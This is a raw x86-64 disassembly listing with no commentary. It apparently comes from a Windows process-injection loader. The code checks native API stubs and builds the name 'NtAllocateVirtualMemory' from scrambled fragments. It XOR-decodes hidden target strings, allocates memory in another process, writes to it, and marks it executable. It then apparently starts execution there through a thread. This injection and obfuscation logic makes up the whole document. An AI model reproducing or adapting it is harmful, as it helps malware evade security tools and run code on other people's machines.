mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x2640]
mov rcx, qword [rbp + 0x2ee0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x2640]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a5773c
lea rsi, [0x3472fd3b4]
jmp 0x345a57743
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rax, [rbp + 0x28af]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0x28af]
lea rax, [rbp + 0x2880]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0x2860]
lea rdx, [rbp + 0x2880]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x3472fd3ae]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x3472fd3fa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x3472fd3a6]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x27c0]
lea rdx, [rbp + 0x27e0]
lea r8, [0x3472fd3a8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x27a0]
lea rdx, [rbp + 0x27c0]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2780]
lea rdx, [rbp + 0x27a0]
lea r8, [0x3472fd400]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2760]
lea rdx, [rbp + 0x2780]
lea r8, [0x3472fd3ee]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2740]
lea rdx, [rbp + 0x2760]
lea r8, [0x3472fd3f8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2720]
lea rdx, [rbp + 0x2740]
lea r8, [0x3472fd3e8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2700]
lea rdx, [rbp + 0x2720]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x26e0]
lea rdx, [rbp + 0x2700]
lea r8, [0x3472fd3a0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x26c0]
lea rdx, [rbp + 0x26e0]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x26a0]
lea rdx, [rbp + 0x26c0]
lea r8, [0x3472fd3a8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2680]
lea rdx, [rbp + 0x26a0]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2660]
lea rdx, [rbp + 0x2680]
lea r8, [0x3472fd3ea]
mov rcx, rax
call fcn.345b05a30
lea rdx, [rbp + 0x2660]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6140
lea rax, [rbp + 0x2660]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2680]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x26a0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x26c0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x26e0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2700]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2720]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2740]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2760]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2780]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x28af]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x28b0]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x28b0]
mov rcx, qword [rbp + 0x2ed8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x28b0]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a57b23
lea rsi, [0x3472fd3b4]
jmp 0x345a57b2a
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rax, [rbp + 0x2b3f]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0x2b3f]
lea rax, [rbp + 0x2b10]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0x2af0]
lea rdx, [rbp + 0x2b10]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2af0]
lea r8, [0x3472fd3e6]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2ab0]
lea rdx, [rbp + 0x2ad0]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2a90]
lea rdx, [rbp + 0x2ab0]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2a70]
lea rdx, [rbp + 0x2a90]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2a50]
lea rdx, [rbp + 0x2a70]
lea r8, [0x3472fd3a6]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2a30]
lea rdx, [rbp + 0x2a50]
lea r8, [0x3472fd3a8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2a10]
lea rdx, [rbp + 0x2a30]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x29f0]
lea rdx, [rbp + 0x2a10]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x29d0]
lea rdx, [rbp + 0x29f0]
lea r8, [0x3472fd3ac]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x29b0]
lea rdx, [rbp + 0x29d0]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2990]
lea rdx, [rbp + 0x29b0]
lea r8, [0x3472fd39c]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2970]
lea rdx, [rbp + 0x2990]
lea r8, [0x3472fd3ae]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2950]
lea rdx, [rbp + 0x2970]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2930]
lea rdx, [rbp + 0x2950]
lea r8, [0x3472fd3b0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2910]
lea rdx, [rbp + 0x2930]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x28f0]
lea rdx, [rbp + 0x2910]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x28d0]
lea rdx, [rbp + 0x28f0]
lea r8, [0x3472fd3b2]
mov rcx, rax
call fcn.345b05a30
lea rdx, [rbp + 0x28d0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6140
lea rax, [rbp + 0x28d0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x28f0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2910]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2930]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2950]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2970]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2990]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x29b0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x29d0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x29f0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2a10]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2a30]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2a70]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2a90]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2ab0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2ad0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2af0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2b10]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2b3f]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2b40]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x2b40]
mov rcx, qword [rbp + 0x2ed0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x2b40]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a57f36
lea rsi, [0x3472fd3b4]
jmp 0x345a57f3d
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rcx, [0x345b0a020]
call fcn.345a51c87
mov dword [rbp + 0x2e88], 0xffffffff
cmp dword [rbp + 0x2e88], 0
jne 0x345a57f86
lea rcx, [0x3472fd402]
call fcn.345a513a0
lea rax, [rbp + 0x2b63]
lea rdx, [rbp + 0x2b70]
mov rcx, rax
call fcn.345a51e2c
lea rax, [rbp + 0x2b63]
mov qword [rbp + 0x2e68], rax
mov rax, qword [rbp + 0x2e68]
mov qword [rbp + 0x2e60], rax
mov rax, qword [rbp + 0x2e60]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x345a58062
mov rax, qword [rbp + 0x2e68]
mov rdx, qword [rbp + 0x2e68]
mov qword [rbp + 0x2e58], rdx
mov qword [rbp + 0x2e50], rax
mov dword [rbp + 0x2e4c], 0
cmp dword [rbp + 0x2e4c], 0xc
jg 0x345a58061
mov eax, dword [rbp + 0x2e4c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2e50]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x2e4c]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x35
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x32
xor ecx, eax
mov rdx, qword [rbp + 0x2e58]
mov eax, dword [rbp + 0x2e4c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2e4c], 1
jmp 0x345a57ff6
nop
lea rax, [rbp + 0x2b63]
mov rcx, rax
call fcn.345a5176e
mov qword [rbp + 0x2e80], rax
cmp qword [rbp + 0x2e80], 0xffffffffffffffff
jne 0x345a58091
mov ebx, 0
mov esi, 0
jmp 0x345a5889d
lea rax, [rbp + 0x2b71]
lea rdx, [rbp + 0x2b7e]
mov rcx, rax
call fcn.345a51ea6
lea rax, [rbp + 0x2b71]
mov qword [rbp + 0x2e40], rax
mov rax, qword [rbp + 0x2e40]
mov qword [rbp + 0x2e38], rax
mov rax, qword [rbp + 0x2e38]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x345a5816d
mov rax, qword [rbp + 0x2e40]
mov rdx, qword [rbp + 0x2e40]
mov qword [rbp + 0x2e30], rdx
mov qword [rbp + 0x2e28], rax
mov dword [rbp + 0x2e24], 0
cmp dword [rbp + 0x2e24], 0xc
jg 0x345a5816c
mov eax, dword [rbp + 0x2e24]
movsxd rdx, eax
mov rax, qword [rbp + 0x2e28]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x2e24]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x35
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x32
xor ecx, eax
mov rdx, qword [rbp + 0x2e30]
mov eax, dword [rbp + 0x2e24]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2e24], 1
jmp 0x345a58101
nop
lea rdx, [rbp + 0x2b71]
lea rax, [rbp + 0x10]
mov rcx, qword [rbp + 0x2e80]
mov r8, rcx
mov rcx, rax
call fcn.345a5191f
mov rax, qword [rbp + 0x10]
cmp rax, 0xffffffffffffffff
je 0x345a5819e
mov rax, qword [rbp + 0x18]
cmp rax, 0xffffffffffffffff
jne 0x345a581ad
mov ebx, 0
mov esi, 0
jmp 0x345a5889d
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2e78], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x2e70], rax
mov r10, qword [0x347328028]
lea rcx, [rbp + 0x60]
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0x2e78]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x2e88], eax
cmp dword [rbp + 0x2e88], 0
je 0x345a582ae
lea rax, [rbp + 0x2b80]
lea rdx, [rbp + 0x2b7f]
mov rcx, rax
call fcn.345a51f20
mov rax, qword [rbp + 0x2b80]
mov rdx, qword [rbp + 0x2b88]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2b90]
mov rdx, qword [rbp + 0x2b98]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2ba0]
mov rdx, qword [rbp + 0x2ba8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2bb0]
mov rdx, qword [rbp + 0x2bb8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2bc0]
mov qword [rbp], rax
mov eax, dword [rbp + 0x2bc8]
mov dword [rbp + 8], eax
mov edx, dword [rbp + 0x2e88]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.345a70650
mov ebx, 0
mov esi, 0
jmp 0x345a5889d
lea rax, [rbp + 0x2bd0]
lea rdx, [rbp + 0x2bcf]
mov rcx, rax
call fcn.345a52192
mov rax, qword [rbp + 0x2bd0]
mov rdx, qword [rbp + 0x2bd8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2be0]
mov rdx, qword [rbp + 0x2be8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2bf0]
mov rdx, qword [rbp + 0x2bf8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2c00]
mov rdx, qword [rbp + 0x2c08]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2c10]
mov qword [rbp], rax
movzx eax, byte [rbp + 0x2c18]
mov byte [rbp + 8], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.345a703a0
mov r10, qword [0x347328030]
mov r9, qword [0x3472f92a8]
mov r8, qword [0x347328020]
mov rdx, qword [rbp + 0x70]
mov rax, qword [rbp + 0x2e78]
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x2e88], eax
cmp dword [rbp + 0x2e88], 0
je 0x345a58424
lea rax, [rbp + 0x2c20]
lea rdx, [rbp + 0x2c1f]
mov rcx, rax
call fcn.345a523ec
mov rax, qword [rbp + 0x2c20]
mov rdx, qword [rbp + 0x2c28]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2c30]
mov rdx, qword [rbp + 0x2c38]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2c40]
mov rdx, qword [rbp + 0x2c48]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c58]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2c60]
mov qword [rbp], rax
movzx eax, word [rbp + 0x2c68]
mov word [rbp + 8], ax
mov edx, dword [rbp + 0x2e88]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.345a70480
mov ebx, 0
mov esi, 0
jmp 0x345a5889d
lea rax, [rbp + 0x2c70]
lea rdx, [rbp + 0x2c6f]
mov rcx, rax
call fcn.345a5264e
mov rax, qword [rbp + 0x2c70]
mov rdx, qword [rbp + 0x2c78]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2c80]
mov rdx, qword [rbp + 0x2c88]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2c90]
mov rdx, qword [rbp + 0x2c98]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2ca0]
mov rdx, qword [rbp + 0x2ca8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2cb0]
mov qword [rbp], rax
mov eax, dword [rbp + 0x2cb8]
mov dword [rbp + 8], eax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.345a70570
mov r10, qword [0x347328038]
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0x2e78]
lea rcx, [rbp + 0x7c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
lea r8, [0x3472f92a8]
mov rcx, rax
call r10
mov dword [rbp + 0x2e88], eax
cmp dword [rbp + 0x2e88], 0
je 0x345a58581
lea rax, [rbp + 0x2cc0]
lea rdx, [rbp + 0x2cbf]
mov rcx, rax
call fcn.345a528c0
mov rax, qword [rbp + 0x2cc0]
mov rdx, qword [rbp + 0x2cc8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2cd8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2ce8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movzx eax, word [rbp + 0x2cf0]
mov word [rbp - 0x10], ax
movzx eax, byte [rbp + 0x2cf2]
mov byte [rbp - 0xe], al
mov edx, dword [rbp + 0x2e88]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.345a70000
mov ebx, 0
mov esi, 0
jmp 0x345a5889d
lea rax, [rbp + 0x2d00]
lea rdx, [rbp + 0x2cff]
mov rcx, rax
call fcn.345a52a6a
mov rax, qword [rbp + 0x2d00]
mov rdx, qword [rbp + 0x2d08]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2d10]
mov rdx, qword [rbp + 0x2d18]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2d20]
mov rdx, qword [rbp + 0x2d28]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov eax, dword [rbp + 0x2d30]
mov dword [rbp - 0x10], eax
movzx eax, word [rbp + 0x2d34]
mov word [rbp - 0xc], ax
movzx eax, byte [rbp + 0x2d36]
mov byte [rbp - 0xa], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.345a700f0
mov r10, qword [0x347328078]
mov rax, qword [rbp + 0x70]
mov rdx, rax
mov rax, qword [rbp + 0x2e70]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x2e88], eax
cmp dword [rbp + 0x2e88], 0
je 0x345a586d4
lea rax, [rbp + 0x2d40]
lea rdx, [rbp + 0x2d3f]
mov rcx, rax
call fcn.345a52c34
mov rax, qword [rbp + 0x2d40]
mov rdx, qword [rbp + 0x2d48]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d58]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2d60]
mov rdx, qword [rbp + 0x2d68]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2d70]
mov qword [rbp - 0x10], rax
movzx eax, byte [rbp + 0x2d78]
mov byte [rbp - 8], al
mov edx, dword [rbp + 0x2e88]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.345a701d0
mov ebx, 0
mov esi, 0
jmp 0x345a5889d
lea rax, [rbp + 0x2d80]
lea rdx, [rbp + 0x2d7f]
mov rcx, rax
call fcn.345a52e0e
mov rax, qword [rbp + 0x2d80]
mov rdx, qword [rbp + 0x2d88]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2d90]
mov rdx, qword [rbp + 0x2d98]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2da0]
mov rdx, qword [rbp + 0x2da8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2db0]
mov qword [rbp - 0x10], rax
mov eax, dword [rbp + 0x2db8]
mov dword [rbp - 8], eax
movzx eax, byte [rbp + 0x2dbc]
mov byte [rbp - 4], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.345a702c0
mov r8, qword [0x347328080]
mov rax, qword [rbp + 0x2e70]
mov edx, 0
mov rcx, rax
call r8
mov dword [rbp + 0x2e88], eax
cmp dword [rbp + 0x2e88], 0
je 0x345a58804
lea rax, [rbp + 0x2dc0]
lea rdx, [rbp + 0x2dbf]
mov rcx, rax
call fcn.345a53008
mov rax, qword [rbp + 0x2dc0]
mov rdx, qword [rbp + 0x2dc8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2dd0]
mov rdx, qword [rbp + 0x2dd8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2de0]
mov qword [rbp - 0x20], rax
mov eax, dword [rbp + 0x2de8]
mov dword [rbp - 0x18], eax
movzx eax, word [rbp + 0x2dec]
mov word [rbp - 0x14], ax
mov edx, dword [rbp + 0x2e88]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.345a6fe30
mov ebx, 0
mov esi, 0
jmp 0x345a5889d
lea rax, [rbp + 0x2df0]
lea rdx, [rbp + 0x2def]
mov rcx, rax
call fcn.345a5318a
mov rax, qword [rbp + 0x2df0]
mov rdx, qword [rbp + 0x2df8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2e00]
mov rdx, qword [rbp + 0x2e08]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2e10]
mov rdx, qword [rbp + 0x2e18]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movzx eax, byte [rbp + 0x2e20]
mov byte [rbp - 0x10], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.345a6ff20
mov rdx, qword [0x347328068]
mov rax, qword [rbp + 0x2e78]
mov rcx, rax
call rdx
mov rdx, qword [0x347328068]
mov rax, qword [rbp + 0x2e70]
mov rcx, rax
call rdx
mov esi, 1
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6100
cmp esi, 1
jne 0x345a588b3
mov ebx, 0
mov eax, ebx
jmp 0x345a5a1d1
add rsp, 0x3000
pop rbx
pop rsi
pop rbp
ret